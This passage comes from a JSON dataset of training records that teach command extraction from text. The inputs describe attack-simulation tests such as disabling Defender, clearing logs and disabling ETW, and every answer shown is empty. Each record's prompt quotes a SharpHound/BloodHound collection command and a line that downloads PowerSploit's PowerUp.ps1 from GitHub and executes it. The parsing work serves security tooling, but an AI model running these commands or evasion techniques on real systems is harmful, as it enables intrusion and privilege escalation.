    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Disable Win Defender Notification. Redline is using this to disable this win defender feature.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Modify the registry of the currently logged in user using reg.exe via cmd console to Disable changes to Taskbar and Start Menu Settings Group Policy. \nTake note that some Group Policy changes might require a restart to take effect.\nSee how ransomware abuses this technique- https://www.virustotal.com/gui/file/2d7855bf6470aa323edf2949b54ce2a04d9e38770f1322c3d0420c2303178d91/details\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test overwrites the contents of system log file with an empty string using echo utility\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Identify the Operating System Time Zone via registry with the reg.exe command.\nUpon execution, the system Time Zone will be shown.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    AppCmd.exe is a command line utility which is used for managing an IIS web server. The config command within the tool reveals the service account credentials configured for the webserver. An adversary may use these credentials for other malicious purposes.\n[Reference](https://twitter.com/0gtweet/status/1588815661085917186?cxt=HHwWhIDUyaDbzYwsAAAA)",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test uses the insmod command to load a kernel module for Linux.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Use the `shred` command to overwrite the temporary file and then delete it\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Clears Powershell history\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This atomic simulates an activity where an attacker disables a specific ETW provider from the EventLog-Application ETW Auto Logger session using the reg.exe utility to update the Windows registry value \"Enabled\". This would effectivly remove that provider from the session and cause to not emit any logs of that type. The changes would only take effect after a restart.",
    "output": "{\"command_list\": []}"
  },
  {
